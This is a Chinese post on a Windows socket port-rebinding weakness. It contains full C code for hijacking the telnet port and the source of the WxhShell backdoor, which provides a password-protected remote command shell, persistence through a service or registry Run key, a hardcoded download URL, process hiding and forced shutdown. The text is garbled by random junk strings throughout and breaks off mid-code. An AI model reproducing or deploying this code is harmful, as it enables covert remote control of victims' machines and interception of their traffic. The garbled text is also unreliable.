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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: MPn
6sf9M s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); EYsf<8cl [pc6!qhDG& saddr.sin_family = AF_INET; W@T_-pTCjK hDP&~Mk saddr.sin_addr.s_addr = htonl(INADDR_ANY); M_ GN3 A3!xYG=+ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :epjJ1mW 9rCvnP= 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Dd=iYMm7 ITq$8 这意味着什么?意味着可以进行如下的攻击: _6"YWR -f4>4@y 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 t$*V*gK{ E&RiEhuv 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0Xke26ga T VuDK 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 " %,KZI DaK2P;WP 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 PCx] >& |, Lp1 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 cc$L56q W,g0n=2V 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 HZG<aY=" .t7mTpi 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !Q0aKkMfL '(qVA>S #include ,o_Ur.UJ #include Py3Y*YP #include ,)CRozC\}K #include 4;_<CB DWORD WINAPI ClientThread(LPVOID lpParam); o|FY-+ int main() IhRYV`: { RyJN=;5p WORD wVersionRequested; [xrM){ItW DWORD ret; 1\~-No WSADATA wsaData; L,
k\`9bQ BOOL val; gLH#UwfJ SOCKADDR_IN saddr; M<sY_<z SOCKADDR_IN scaddr; ckZZ)lW`* int err; r2Wx31j{ SOCKET s; }IRx$cKV SOCKET sc; hZudVBn int caddsize; dWCU Z,6} HANDLE mt; )(Z)yz DWORD tid; 6z (eW]p wVersionRequested = MAKEWORD( 2, 2 ); #hNp1y2 err = WSAStartup( wVersionRequested, &wsaData ); tSZd0G<A<o if ( err != 0 ) { 5 GwXZ;(G printf("error!WSAStartup failed!\n"); N?7vcN+-t) return -1; X53TFRxnT } xD(RjL+ saddr.sin_family = AF_INET; Qxvj`Ge ] VN4;R //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 LvtZZX6! Vd' KN2Jm saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); _;M46o%h saddr.sin_port = htons(23); c<(LXf+61 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )/:r$n7 { 8" x+^ printf("error!socket failed!\n"); HifU65"8 return -1; :N3'$M" } Q]?Lg val = TRUE; vbZGs7% //SO_REUSEADDR选项就是可以实现端口重绑定的 5_d=~whO&2 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [CfA\-gx<f { =>PBdW printf("error!setsockopt failed!\n"); T.=du$ return -1; 8ol R#> } }iK_7g`yKa //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; l9 K 3E<g //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 <IX)D `mf //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }-e ~[|zf*ZISG if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) VHyP@JB
{ G?y'<+Awt ret=GetLastError(); =t+{)d.w printf("error!bind failed!\n"); SSS)bv8m return -1; ^aW?0qsH } _>/T<Db listen(s,2); .q>4? + while(1) m^8KHa { wR"4slY_% caddsize = sizeof(scaddr); P p}N-me>_ //接受连接请求 Z1(-FT6O sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); T@GR Tg if(sc!=INVALID_SOCKET) ()E:gqQ
{ Ul<'@A8 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); lu GEBPi if(mt==NULL) )<6zbG { ;T|y^D printf("Thread Creat Failed!\n"); Rv
]?qJL break; Lnk!zj } +Rtz`V1d } pY3N7&m\: CloseHandle(mt); Ozygr?*X } %7_c|G1 closesocket(s); #$vef
WSACleanup(); CKAs3", return 0; Kp|#04] } .
k6) DWORD WINAPI ClientThread(LPVOID lpParam) pvz*(u { yrDWIU(8;6 SOCKET ss = (SOCKET)lpParam; Z UvA` SOCKET sc; m-SP #?3 unsigned char buf[4096]; "hRY+{m SOCKADDR_IN saddr; DIk\=[{2q long num; NZ\aK}?~! DWORD val; 5X7kZ!r DWORD ret; O1o.^i$-M //如果是隐藏端口应用的话,可以在此处加一些判断 8tc9H}> //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 h=q%h8 saddr.sin_family = AF_INET; 2C@hjw( saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^ExA saddr.sin_port = htons(23); =jik33QV< if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q4k)E { ]~,V(K printf("error!socket failed!\n"); L"i
B'= return -1; u5f+%!p } x 5u.D^ val = 100; C +-< if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J,s)Fu\j@ { =5P_xQx ret = GetLastError(); 9`8\<a'rU return -1; +[ _)i9a } 8F$b/Z if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !;SpQ28 { WC!b B ret = GetLastError(); ~3{C&c return -1; \ B~9Ue! } zS Yh ?NB5 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &FWPb# { _v=@MOI/J printf("error!socket connect failed!\n"); ]Q\Ogfjp closesocket(sc); HQ%-e5Q closesocket(ss); Z\=].[,w4 return -1; ~P*t_cpZ } Mk=;UBb$X while(1) L3Leb%,! { H=vrF - # //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 DPfP)J:~ //如果是嗅探内容的话,可以再此处进行内容分析和记录 1i}Rc: //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 mT.p-C num = recv(ss,buf,4096,0); ObC if(num>0) <v?9:} send(sc,buf,num,0); >4:W:;R else if(num==0) #vy:aq<bjE break; "y>\
mC num = recv(sc,buf,4096,0); 5Wj+ey^^w if(num>0) JM{S49Lx send(ss,buf,num,0); A9!gww else if(num==0) , #yE#8 break; R
v9?<] } K\&A}R closesocket(ss); {xw*H<"f< closesocket(sc); '0|AtO77 return 0 ; "C$z) } d"nz/$ j.$#10*: ?~rF3M.=| ========================================================== O)MKEMuA QD LXfl/ 下边附上一个代码,,WXhSHELL 9&A-o 0fvQPs!O ==========================================================
6h
N~< @18"o"c7j #include "stdafx.h" #&.&Uu$ d:0RDK-}s #include <stdio.h> 2}u hPW+ #include <string.h> Fzk #include <windows.h> y
D.S" #include <winsock2.h> ?JTy+V2t #include <winsvc.h> p6[a"~y #include <urlmon.h> bz_Zk R@``MC0 #pragma comment (lib, "Ws2_32.lib") ?;.j) #pragma comment (lib, "urlmon.lib") rt%.IQdY *b?C%a9 #define MAX_USER 100 // 最大客户端连接数 :X[(ymWNE #define BUF_SOCK 200 // sock buffer KQ3]'2q #define KEY_BUFF 255 // 输入 buffer FxSBxz<N-A @v9PI/c #define REBOOT 0 // 重启 ]GYO`, #define SHUTDOWN 1 // 关机 cA"',N8!5 kZ+nL)YQ# #define DEF_PORT 5000 // 监听端口 ^RG6h PY:
l #define REG_LEN 16 // 注册表键长度 "U34D1I)# #define SVC_LEN 80 // NT服务名长度 }N5>^y ;C%40;Q // 从dll定义API 59";{"sw typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4KE"r F typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); SU"-%}~O#, typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); CG IcuHp typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $]4^ENkI KyW6[WA9 // wxhshell配置信息 22|eiW/a struct WSCFG {
ykSn=0 int ws_port; // 监听端口 5O&6 (Gaf char ws_passstr[REG_LEN]; // 口令 cb l@V 1 int ws_autoins; // 安装标记, 1=yes 0=no zpr` char ws_regname[REG_LEN]; // 注册表键名 <Mo_GTOC! char ws_svcname[REG_LEN]; // 服务名 ]{Vq; char ws_svcdisp[SVC_LEN]; // 服务显示名 ~oI7TP char ws_svcdesc[SVC_LEN]; // 服务描述信息 [JFmhLP9 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `pF|bZ?v int ws_downexe; // 下载执行标记, 1=yes 0=no V\@h<%{^%7 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" z8M^TV char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \4I1wdd|^ Y((s<]7 }; $j^Jj goi.'8M|/b // default Wxhshell configuration (,PO( struct WSCFG wscfg={DEF_PORT, gF1qZ=< "xuhuanlingzhe", vpx8GiV 1, `h12 "Wxhshell", {zBf *x "Wxhshell", r00waw>C\ "WxhShell Service", C$\|eC j "Wrsky Windows CmdShell Service", <OF7:f "Please Input Your Password: ", o:_}=1nh 1, l2>G +t (, " http://www.wrsky.com/wxhshell.exe", ^8aj\xe( "Wxhshell.exe" u&`7 C }; _n_lO8mK 7f#[+i // 消息定义模块 QJp
_>K char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6}
!n0 char *msg_ws_prompt="\n\r? for help\n\r#>"; aT[Z#Zd, N char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; =?T\zLN= char *msg_ws_ext="\n\rExit."; ?"PUw3V3lB char *msg_ws_end="\n\rQuit."; 8 s!0Z1Roc char *msg_ws_boot="\n\rReboot..."; "aK3
ylz; char *msg_ws_poff="\n\rShutdown..."; DDn@M|*$ char *msg_ws_down="\n\rSave to "; j$^3 K+ xiov-r? char *msg_ws_err="\n\rErr!"; *7.!"rb8A char *msg_ws_ok="\n\rOK!"; Gvv~P3Dm i 4
KW char ExeFile[MAX_PATH]; 3N(s)N_P M int nUser = 0; p>=YPi/d HANDLE handles[MAX_USER]; Adgh:'h int OsIsNt; >|!F.W E#r6e+e1Q% SERVICE_STATUS serviceStatus; (=0W[@k SERVICE_STATUS_HANDLE hServiceStatusHandle; 2}>jq8Y47 ^ruS // 函数声明 QIF|pZ+^ int Install(void); ;!&A int Uninstall(void); 5Fm.] / int DownloadFile(char *sURL, SOCKET wsh); |r 1\ int Boot(int flag); n[lf==R void HideProc(void); !HL7a]PB int GetOsVer(void); szMh}q"u int Wxhshell(SOCKET wsl); 0G1? void TalkWithClient(void *cs); 6#fl1GdH- int CmdShell(SOCKET sock); cjsQm6 int StartFromService(void); ?`Qw=8]` int StartWxhshell(LPSTR lpCmdLine); \-N
4G1 5b3Wt7 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <~t38|Ff@
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $n& alcU Jf@M>BT^A // 数据结构和表定义 $[5ihV$u SERVICE_TABLE_ENTRY DispatchTable[] = y7dnXO!g9- { 2]5dSXD {wscfg.ws_svcname, NTServiceMain}, ,i#]&f`c;5 {NULL, NULL} "DM$FRI0 }; {MU>5\ .2/(G{}U // 自我安装 9r@r\- int Install(void) :pcKww|V { }UZ$<81= char svExeFile[MAX_PATH]; 6Lz{/l8 HKEY key; /4+M0P l strcpy(svExeFile,ExeFile); <splLZW3k JLm0[1Lzd // 如果是win9x系统,修改注册表设为自启动 12DMb9_rp if(!OsIsNt) { [t5:4
Iq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S{{D G RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vE7 L> 7 RegCloseKey(key); BbUZ,X*Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \ }>1$kH; RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )`yxJ;O@$ RegCloseKey(key); ^;n,C+ return 0; P!'Sx;C^f } 23@e?A=C } KB <n-' } HS.3PE0^C else { LF* 7;a rc1EJ(c // 如果是NT以上系统,安装为系统服务 Um]>B`."wK SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u&?J+ if (schSCManager!=0) ]78I { QgO@oV* S SC_HANDLE schService = CreateService g
#u1.|s&p ( JYOyz+wNd schSCManager, )Yz`
6 wscfg.ws_svcname, V;mKJ.d${ wscfg.ws_svcdisp, yd[}? SERVICE_ALL_ACCESS, D{I^_~-\5 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , tiSN amvG1 SERVICE_AUTO_START, K2>(C$Z SERVICE_ERROR_NORMAL, 1BwCJ7?8 svExeFile, z"bgtlfb8 NULL, ,Y=r]
fk NULL, 2-j+-B|i NULL, , .uu/qV}w NULL, hc2[,Hju{O NULL T5.1qr L ); GJai!$v if (schService!=0) PF*<_p" j { ~ ?m'; CloseServiceHandle(schService); Y v }G"-= CloseServiceHandle(schSCManager); Brr{iBz*" strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y _M<\b strcat(svExeFile,wscfg.ws_svcname); ]24aK_Uu if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zM"OateA RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U(]a(k<r RegCloseKey(key); ))cL+r return 0; 'A
.c*<_ } bPEf2Z
G4 } ;X-~C.7k CloseServiceHandle(schSCManager); 87c7p=/0` } ]WR+>)ERb } /1ooOq] >'wl)j$ return 1; trnjOm } 8<t6_* f !}|n3wQ // 自我卸载 xCFk1%qf int Uninstall(void) <KqZ.7XfB { %&5 !vK HKEY key; $UavM| ]N_(M if(!OsIsNt) { 5p}Y6Lc\j if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v~e@:7d i RegDeleteValue(key,wscfg.ws_regname); *T$o"*} RegCloseKey(key); nx`!BNL'V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \{@s@VBx[ RegDeleteValue(key,wscfg.ws_regname); /R^Moj< RegCloseKey(key); H !Z=}>TN return 0; _7#Ng@#\ } ]3wg-p+ } ty[bIaQi } ?r0#{x~ else { -;&aU;k <uDEDb1|l SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w'z?1M(* if (schSCManager!=0) @G[P|^B { b|U&{I>TH SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); cP%mkh_ri if (schService!=0) zQM3n =y { ce th )Xm if(DeleteService(schService)!=0) { L&ySXc= CloseServiceHandle(schService); >B/ jTn5= CloseServiceHandle(schSCManager); 8-5MGh0L return 0; +gqtW86 } r,X5@/ CloseServiceHandle(schService); z=:<]j#= } 0gO<]]M? CloseServiceHandle(schSCManager); 6Ae <W7 } W.TZU'% } 87P{vf# [~9rp]< return 1; '#gd19# } ]C_g:|q jOj`S%7 // 从指定url下载文件 7yo/sb9h int DownloadFile(char *sURL, SOCKET wsh) l:mC'aR { 8Kt_irD HRESULT hr; aKXaor@0f. char seps[]= "/"; Nq6~6Rr char *token; {E1g+>< char *file; l{F^"_U char myURL[MAX_PATH]; WV}<6r$e char myFILE[MAX_PATH]; RpPbjz~ .|
CcUmx strcpy(myURL,sURL); BTjfzfO" token=strtok(myURL,seps); <
.&t'W while(token!=NULL) [` ~YPUR* { sG`|| Kb;n file=token; nlJ~Q_E( token=strtok(NULL,seps); )j(13faW| } B2t.;uz(, X{zg-k(@ GetCurrentDirectory(MAX_PATH,myFILE); (e sTb, strcat(myFILE, "\\"); 9 X}F{!p~1 strcat(myFILE, file); JF!?i6V send(wsh,myFILE,strlen(myFILE),0); ON#\W>MK? send(wsh,"...",3,0); z1[2.&9D- hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zJJ
KLr; if(hr==S_OK) P5/K?I~/So return 0; 7sKN` else s$`g%H> return 1; &}wrN(?w J.Mj76\_ } >(5*y=\i E6a$c`H@? // 系统电源模块 T)wc{C9w int Boot(int flag) m<)0XE6w { Z&FC:4!! HANDLE hToken; g*C&Pr3 TOKEN_PRIVILEGES tkp; cnr&%- +shT}$cb1 if(OsIsNt) { ;@p2s'( OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); OrP-+eg LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); G0Zq:kJ tkp.PrivilegeCount = 1; #k2&2W=x tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; j~,7JJ
(y AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); CqX2R:# if(flag==REBOOT) { Li~(kw3 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) lxoc.KDtR return 0; fTiqY72h } 2GOQ| Z else { &09z`*, if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) U ^1Xc#Ff return 0; # D"TY-$.= } <"w;:Zs } wuE] ju< else { fy04/_,q if(flag==REBOOT) { ,ButNBv if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `$oGgz6ZT return 0; l'=H,8LfA } , f9V`Pz) else { wy6> ^_z if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9,|{N(N<! return 0; ?95^&4Oh0 } UMR0S5`} } >m='#x0>Y |_L\^T|6 return 1; !xmvCH=2 } WccTR
aq 4zuM?Dp // win9x进程隐藏模块 tiG=KHK%o void HideProc(void) *A C){M { dr0<K[S_ kbzzage6L HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); PD$XLZ if ( hKernel != NULL ) z=1 J{] { Kp?):6 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nEu,1 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !|6M ,Rk_ FreeLibrary(hKernel); yO Ed8 } MGpP'G:v D /ysS$!{ return; O{Bll;C } yf`Nh 0[
MQp"z // 获取操作系统版本 ({ 'I;]AQ int GetOsVer(void) i5wXT { +U/+iI>0 OSVERSIONINFO winfo; %!%G\nv winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (|%YyRaX GetVersionEx(&winfo); =Q|_v} if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) u&Q2/Y return 1; kBolDPvBG else 0'y9HE'e return 0; ,E,oz {,i( } eh_{- $YuVM // 客户端句柄模块 c{4C4'GD int Wxhshell(SOCKET wsl) P2_UQ { {n9]ej^
SOCKET wsh; SXX6EIJr| struct sockaddr_in client; /V@~Vlww DWORD myID; Ny|2Fcs ,ErJUv while(nUser<MAX_USER) u1K;{>4lx { EIZSV> int nSize=sizeof(client); sLiKcR8^ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ',GWH:B if(wsh==INVALID_SOCKET) return 1; Z)E[Bv= 6 ,jp-` handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u,AZMjlF if(handles[nUser]==0) I4'mU$)U closesocket(wsh); 5bU[uT,`6 else *L_ +rJj, nUser++; Pd-0u>k } W,&z:z> WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); L=Cm0q 3v A0{ !m return 0; Cv7FVl-I } 0}:- t^P ;Zfglid // 关闭 socket 4+&4 void CloseIt(SOCKET wsh) Q/[|/uNw? { <P&~k\BuF{ closesocket(wsh); H9nVtS{x nUser--; 9W{`$30 ExitThread(0); LASR* } .)Xyzd g/H:`J // 客户端请求句柄 <vS J<WY void TalkWithClient(void *cs) S[p.`<{J { 7_t\wmvYp +$Q.N{LV SOCKET wsh=(SOCKET)cs; ,<iJ#$:
Sx char pwd[SVC_LEN]; !YD~o/t@| char cmd[KEY_BUFF]; &"!s +_ char chr[1]; =TImx.D: int i,j; tXj28sh$ awP
']iE while (nUser < MAX_USER) { 1=LI))nV TAfLC) if(wscfg.ws_passstr) { G#{
Xd6L if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ",wv*z)_> //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); . ]
=$(( //ZeroMemory(pwd,KEY_BUFF); @0}Q"15,I i=0; ]|NwC< while(i<SVC_LEN) { ho*44=j TI
'( // 设置超时 ;-SFK+)R" fd_set FdRead; vrVb/hhG struct timeval TimeOut; Wjf UbKg0 FD_ZERO(&FdRead); r![RRa^ FD_SET(wsh,&FdRead); j2GO ZKy TimeOut.tv_sec=8; sg@)IEg</v TimeOut.tv_usec=0; 8GpPyG
],e int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); N}`.N if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jys1Ki Ejc%DSG if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5I #L|+ pwd =chr[0]; TR2X' `:O if(chr[0]==0xd || chr[0]==0xa) { CX](^yU_ pwd=0; CKJ9YKu{W break; /8V#6d_ } &Xr@nt0H i++; 0*?/s\>PS; } A2Je*Gz 29:1crzx~ // 如果是非法用户,关闭 socket ` fw: if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )b<-=VR } z[xi MUo}Qi0K send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z";~]]$!Y send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K9JW&5Q x!6&)T?!n while(1) { U@#YKv =4RXNWkud ZeroMemory(cmd,KEY_BUFF); x13t@b 8r7}6 // 自动支持客户端 telnet标准 B8Ob~? j=0; }e}J6[wP while(j<KEY_BUFF) { H(qDQqJHYy if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W<Ms0 cmd[j]=chr[0]; 7:fC,2+ if(chr[0]==0xa || chr[0]==0xd) { 0bY}<x(; cmd[j]=0; sTu6KMn break; tvNh@it:F } 0Q@
&z j++; om$x;L6 } !>$tRW?gH~ CD$0Z // 下载文件 9uk}r; %9 if(strstr(cmd,"http://")) { FD?!bI4 send(wsh,msg_ws_down,strlen(msg_ws_down),0); Yh`P+L if(DownloadFile(cmd,wsh)) p-]vf$u send(wsh,msg_ws_err,strlen(msg_ws_err),0); &\(p<TF else W/*2I3a send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pk&kJ307 } A?l.(qGC_ else { _g+^ jR4
2[WH8l+ switch(cmd[0]) { =nQ"ye }6#lE,\lM // 帮助 Z i-)PK^ case '?': { |eD$eZ=m send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j=U
[V&T break; Q;p?.GI?- } oqzx}?0 // 安装 #:rywz+ case 'i': { IooAXwOF if(Install()) 3*@ sp send(wsh,msg_ws_err,strlen(msg_ws_err),0); r^3QDoy else F+.:Ry FS send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *ea%KE": break; #R_IF&7 } <5qXC.{Cyp // 卸载 0@w8,x case 'r': { :r0?[#r?N, if(Uninstall()) m.ib#Y)y send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jv else 0!v+ + send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I[|5 DQ break; rCGyr}(NC } (_^pX // 显示 wxhshell 所在路径 YGy.39@31 case 'p': { 7P}&<;5zD char svExeFile[MAX_PATH]; @eQIwz strcpy(svExeFile,"\n\r"); 1+;Z0$edxz strcat(svExeFile,ExeFile); %T:~N<8) send(wsh,svExeFile,strlen(svExeFile),0); N(<4nAE break; %E q}H } c"X` OB // 重启 ^l\U6$3 case 'b': { &WW|! 6 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I;dc[m if(Boot(REBOOT)) )bc0 t]Fs send(wsh,msg_ws_err,strlen(msg_ws_err),0); H]@M00C else { [}s nKogp closesocket(wsh); kh3PEq ExitThread(0); _tE`W96J } #R&Dgt
break; Hm=!;xAFX } VEAf,{)Q // 关机 eNN)2-96 case 'd': { ?+S jt send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D[)
Z$+D4f if(Boot(SHUTDOWN)) 2BA'Zu` send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9F8"( else { f?O?2g closesocket(wsh); ~m~<xtoc ExitThread(0); Wi3:;`>G<p } jOs&E^">&B break; B%95M| } x:bJ1% // 获取shell o"F=3b~:n case 's': { 1`1U'ibhe CmdShell(wsh); H.sHXuu closesocket(wsh); JTuU}nm+ ExitThread(0); {"<D$*K~ break; vu^ '+ky } 9pN},F91n: // 退出 `]L&2RS case 'x': { 69)- )en send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); aiP.\`>} CloseIt(wsh); 5c?1JH62o8 break; O)g\/uRy } D/1{v // 离开 2y6 e]D case 'q': { octBt`\Of send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ba$&4?8 closesocket(wsh); HIUB: WSACleanup(); 4(5NHsvp exit(1); %5|awWo_? break; 5VWyc9Q } Q/EHvb] } Y<lJj"G } _U%a`%tU. Bi7QYi/ // 提示信息 '8+<^%c if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1m$:Rn^ } I5[HD_g: } >BU"C+a8g ,DUD 4 [3 return; 906b= } sem:" y; LL^:rq // shell模块句柄 :q_(=EA int CmdShell(SOCKET sock) eH.~c3o { 9sQ7wlK STARTUPINFO si; {DzOXTI[Y ZeroMemory(&si,sizeof(si)); BeAkG_uG si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y7ng/vqM7 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ZzZy2.7 PROCESS_INFORMATION ProcessInfo; yu ~Rk char cmdline[]="cmd"; dtHB@\1 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); IKT3T_\-I return 0; $n |)M+d } K0hmRR= WP/?(%#Y // 自身启动模式 8KH|:>s= int StartFromService(void) V/C":!; { E1 )7gio typedef struct ygiZ~v4P/ { O,m0Xb2s]~ DWORD ExitStatus; i,5mH$a&u: DWORD PebBaseAddress; hS<lUG!9UJ DWORD AffinityMask;
Gw4~ DWORD BasePriority; C"`,?K(U ULONG UniqueProcessId; 9?8Yf(MC%u ULONG InheritedFromUniqueProcessId; 6M({T2e } PROCESS_BASIC_INFORMATION; x<_uwL2a 0q6$KP}q PROCNTQSIP NtQueryInformationProcess; a o"\L0;{ UVND1XV^f static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Yyl(<,Yi static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; x+niY;Z E y7a84)j3 HANDLE hProcess; HV_5
